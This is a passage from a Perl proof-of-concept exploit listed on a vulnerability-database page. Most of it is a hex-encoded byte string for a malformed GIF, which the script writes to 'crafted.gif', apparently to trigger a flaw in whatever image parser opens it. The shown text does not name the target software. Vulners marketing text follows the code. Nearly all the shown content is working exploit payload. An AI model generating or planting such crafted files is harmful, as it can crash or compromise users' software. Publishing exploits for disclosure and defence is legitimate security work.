"\xAF\x61\xBB\x78\x1B\xB6\x56\xB8\x8C\xA1\x70\xC4\x4D\x64\x06\x23".
"\x89\x64\xB8\xCC\x1B\x0A\x6A\x77\x72\x4A\xCF\xD4\x25\xA0\x56\x19".
"\x22\xC9\x41\xD3\xDC\xD1\xBA\xC5\x86\xDC\x33\xE2\x3C\x28\x73\xEA".
"\x26\xD6\x61\x29\xD2\xF0\x25\xE6\x56\x2A\xC2\xCB\xF0\x96\x61\x2F".
"\x2A\x32\x04\x54\xC1\xC4\x1E\x09\x17\x03\x33\x08\x24\x67\xB0\xA1".
"\xC3\x33\x09\x2C\x48\x3C\x60\x81\xA2\x85\x00\x0F\x45\x10\xDC\xB8".
"\xF0\x00\x00\x00\x0F\x40\x8A\x2C\xB0\xE0\xA1\x3F\x2D\x19\xDD\x02".
"\x84\x5C\x29\x12\x01\x81\x87\x11\xBC\x5D\xC1\xC0\x32\xA4\x48\x8C".
"\x0E\x83\x69\x89\x30\xE1\xC2\xC7\x95\x2B\x07\x3C\x64\xE7\x80\x45".
"\x03\x9B\x2C\x41\xBE\x34\xA8\x13\x96\x08\x0B\x22\x6B\x3E\x90\xD0".
"\xC9\x1E\x51\x70\x1B\x26\xD4\x14\x09\x32\x81\xBD\xA6\xC7\x44\x68".
"\x18\xB0\x75\xE5\x85\x09\xF0\xB2\x05\xA9\x40\x02\x42\x59\x90\x05".
"\xD0\xAA\x33\xF6\x04\x97\x86\xA3\x5C\x43\x16\x58\xCA\x4C\x00\x97".
"\x64\x6C\x4B\xD0\x04\xB9\x32\x6E\x20\x4A\x5D\x20\xC5\x92\x43\x4E".
"\x03\x83\xA8\x7B\x73\x39\x30\xC0\xF0\xDE\xAA\xBF\xAD\x66\x2C\xA0".
"\x00\x57\xAE\xA0\x27\x06\x36\xC1\xF1\xAB\x00\xB0\x8C\x4C\xC3\x46".
"\x10\x40\x10\xD9\x97\xAE\x47\x32\x1B\x4D\xAA\x3C\x22\x81\xDC\x66".
"\xD7\x5C\x4B\x62\xA6\xB6\x6E\xB8\x3A\xA4\xE2\x00\xC7\x06\xDC\x01".
"\x6D\x1A\x31\xEB\x14\x12\x76\xBC\x52\xEF\x25\xBA\x51\xF2\x3B\x93".
"\x9C\x50\xF4\x50\xCD\xBB\xA4\x79\xB2\xDC\x4D\x76\x62\x9F\xAE\xE8".
"\xAE\x60\x26\xA3\x27\x15\x77\x10\xF6\xC2\x13\x02\x00\x21\xF9\x04".
"\x09\x06\x00\x1B\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00\x00\x05".
"\xFE\xE0\x26\x8E\x64\x49\x0A\x91\x92\x09\x62\x94\x45\x11\x6B\xCE".
"\x74\x7D\x66\x86\x53\x39\x8E\x22\x66\x3C\x9E\x61\x65\x2B\xD6\x22".
"\xB9\x60\xD0\xB7\x01\x2A\x85\x11\xA3\x74\x83\x7C\x2A\x99\x4E\xAB".
"\x4E\x36\x35\x09\xB2\xDA\xDE\x2F\x1C\x24\x76\x47\x55\x32\x0F\xAB".
"\xE6\x55\xB8\x5D\x30\x99\xDD\xD6\x45\xCF\x9B\xA4\x9A\xDE\x7E\x4F".
"\x13\x13\x22\x02\x7A\x61\x7C\x64\x7E\x52\x04\x08\x05\x81\x22\x84".
"\x4F\x15\x77\x0A\x3B\x87\x5C\x2F\x35\x0B\x14\x0F\x00\x8C\x82\x72".
"\x15\x0A\x11\x1A\x27\x29\x94\x4A\x88\x79\x5B\x33\x1A\x0C\x9B\x9B".
"\x14\x8D\x4D\x6E\x70\x34\x69\xAA\x8E\x65\x33\x18\x0F\xAE\x00\x9C".
"\x8D\x5F\x77\x53\x11\xB7\x5F\x4F\xC2\x22\x1A\x0D\x00\xAE\xBC\xBF".
"\x78\x27\x5C\x8F\x3A\x25\x10\xCE\x9B\xBE\xBC\x9D\xD0\x37\x61\xC2".
"\x1A\x03\xBD\xD7\x00\x17\xB1\xDC\xB2\x61\x06\x23\x13\xE2\xD9\xCC".
"\x09\xE7\x24\xC4\x64\x77\x16\xCC\xF7\xBD\x12\xA3\xF1\x23\xD3\xB9".
"\x1B\x0D\xDA\x31\x7B\x40\x80\x9F\xBC\x43\x1B\x16\x20\x10\xE7\x6A".
"\x80\xC1\x12\xA6\xAC\x08\xC0\x80\xEF\x9E\xAF\x00\x0F\x0F\x7A\x0B".
"\x50\xB1\x99\xB9\x87\x02\xE6\x1C\x10\xF8\xA0\xC0\x82\x8C\x23\xDE".
"\x04\x44\x54\x92\x21\x81\x85\x97\x30\x5F\x62\x44\x89\x26\x83\x0A".
"\x9B\x19\x6C\x22\xA3\xC9\xB3\xA7\x91\x14\x36\x55\x28\x50\xB1\x33".
"\xE3\xD0\xA0\x48\x5D\x84\x41\x95\x51\x65\x18\x9B\xF4\x78\x86\x2C".
"\x34\x4F\x0B\x13\x94\x0A\xE8\x39\xD5\xA2\x8E\x66\x85\x95\x41\x58".
"\x80\x0D\x52\xF4\xDC\x54\x2D\x15\x44\x64\x4D\x87\xD2\x1F\x8F\x0C".
"\x2D\xD4\x94\xC5\x53\x55\x8B\x30\xB7\xB7\xE2\xC9\x39\xA5\x11\x2D".
"\x2D\x68\xC6\xEC\x42\xF4\x1B\x4F\x80\x34\x2B\x69\x4B\xD4\x9D\xE5".
"\x69\x2E\x8D\x49\x88\x94\x2A\x29\x0B\x06\x55\x12\x03\x8E\x53\xEA".
"\xB1\xFC\xCF\x0B\x25\x44\x83\x9E\x18\x08\x05\xC7\xB0\x82\x69\xA0".
"\x81\x30\x55\xFC\xD5\xD2\x21\x49\x63\x83\xA0\xBA\x64\x23\x46\xBF".
"\x36\x77\xF6\x22\xFE\x2B\x45\xF7\x31\x5C\x75\x56\x1B\xF1\xFD\x1B".
"\x5D\x9D\xCC\x33\x22\xC4\xBE\x32\xA6\x0F\x72\x1A\x81\xE7\x34\x27".
"\x63\xE6\x9C\x72\xE9\xC6\x11\x3F\x1F\xE6\xCF\x90\xEC\xED\x74\x27".
"\x31\xCF\x5E\xA1\xBA\x4F\x41\x40\xEF\xB8\x20\xCD\x2D\x04\x00\x21".
"\xF9\x04\x09\x06\x00\x1B\x00\x2C\x00\x00\x00\x00\x32\x00\x32\x00".
"\x84\x8C\x8A\x8C\xC4\xC6\xC4\xE4\xE6\xE4\xA4\xA6\xA4\xD4\xD6\xD4".
"\xF4\xF6\xF4\xB4\xB6\xB4\x9C\x9A\x9C\xEC\xEE\xEC\xAC\xAE\xAC\xDC".
"\xDE\xDC\x94\x96\x94\xCC\xCE\xCC\xFC\xFE\xFC\xBC\xBE\xBC\xA4\xA2".
"\xA4\x8C\x8E\x8C\xEC\xEA\xEC\xAC\xAA\xAC\xDC\xDA\xDC\xFC\xFA\xFC".
"\xBC\xBA\xBC\x9C\x9E\x9C\xF4\xF2\xF4\xB4\xB2\xB4\xE4\xE2\xE4\xD4".
"\xD2\xD4\xE4\xE4\xE4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x05\xFE\xE0\x26\x8E\x64\x49\x2A\x5A\x50\x11\x62\x74\x45\x91".
"\x60\xCE\x74\x4D\x66\x93\x33\x2C\x00\x04\x05\xA2\x4B\x63\xD8\x28".
"\x5C\x64\xB6\xE4\x2C\xC3\x18\xF8\x00\x50\x08\x00\xB8\x11\x12\x89".
"\x85\x88\x72\xCB\x74\x42\xA3\xD2\x5F\xF0\x4A\xA6\x20\xB7\x33\x05".
"\x46\xDA\x0B\x47\xA7\x63\x32\xF9\x88\x2E\x11\x2C\x61\xF7\xD3\x47".
"\xB5\xCA\xAF\x66\x75\x23\x18\x3D\x6F\x85\x87\x7D\x7F\x72\x14\x5A".
"\x82\x19\x09\x7B\x7A\x6D\x89\x8A\x80\x67\x49\x31\x22\x19\x12\x87".
"\x6F\x6C\x94\x95\x0D\x81\x5B\x02\xA2\x48\x8F\x6D\x7A\x10\x07\x0C".
"\x41\x14\xA1\xA3\x55\x8D\x33\x02\xAF\xA6\x9A\x09\x9E\x03\x01\x13".
"\x0A\x24\x02\x11\x08\xB6\x96\x23\x05\xB7\x33\x7E\xC7\x8F\x3E\x12".
"\x2C\x98\xC6\x43\xB1\xD0\x0D\x17\x33\x11\x8B\xA7\x18\x0C\x19\x75".
"\xD7\xA3\x02\xC9\x0D\xB3\xC5\x7F\xB1\x82\x2D\x67\xE1\xA2\x25\xD7".
"\x8A\xE6\xE7\x22\xE0\x8A\xE3\xD3\xD8\xF0\x25\xEA\x58\x23\xA5\x95".
"\xE3\xF7\x1B\x08\x42\x35\xCA\x37\xA4\xC0\x3F\x13\xC3\xE4\x54\xDB".
"\x50\x8F\x8C\xBF\x83\xFC\xCA\x6D\x88\xB8\xE8\xE0\x8C\x86\x57\x80".
"\x55\x42\x60\xD1\x44\xC0\x79\x1F\xFF\x3C\xB4\x48\x91\x0C\x02\x82".
"\xEF\xDB\x3A\xD6\x52\xF4\xE2\xE4\x05\x97\x27\x39\x76\x34\xE1\x02".
"\xE6\x85\x97\x23\x67\xEA\xDC\x09\x2F\xD8\xCB\x98\x27\x73\x5A\x44".
"\x00\xF4\xE7\x0B\x94\x97\x66\xAE\xFC\xF3\xB2\x1F\xCF\x89\x1B\xDB".
"\xFD\x91\xB9\x33\xA4\x9C\x18\x09\xAF\x18\xE4\x49\x21\x2B\x11\x19".
"\x5E\x89\x08\x3D\x57\x12\x90\x08\xAB\x64\xB6\xCE\xC4\x48\x64\xA1".
"\x54\x91\x33\xDF\x5E\x25\xE7\x2E\x29\x3C\x82\xEB\x46\xC8\x25\x46".
"\x92\xA0\xBF\xB0\x29\xEB\x08\x38\x83\x91\x02\x4D\x7B\x13\x5F\x08".
"\x12\x36\xCA\x85\x43\x64\x7C\x19\x16\x1C\x1B\x6F\x9A\xB4\xB6\x34".
"\x96\x7E\x6B\x58\x00\x41\xA6\x7D\x02\x10\x14\x46\x22\x2F\x70\x8B".
"\xAE\xE9\x2A\x31\x3A\x1B\x96\x48\x2C\xC5\x36\x3E\x4B\x16\x18\x07".
"\x96\xDD\x2D\x78\xC5\x8A\x60\x8B\xB8\x4E\x6E\xDD\x55\x42\x5D\xA1".
"\x4C\xB3\xF5\x15\x99\xBF\x45\x11\xA7\xF5\x1B\xB9\x70\x3A\x07\x23".
"\x18\x77\xEE\x6E\xF9\x96\x08\x6C\xA9\x97\xB1\x2E\x28\x58\x42\xED".
"\xA2\xA0\x3F\x2D\x01\x2C\x68\x0B\x9C\xB7\x95\x84\x00\x00\x3B";
open(C, ">:raw", "crafted.gif");
print C $crafted;
close(C);
# http://0xffe4.orgData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation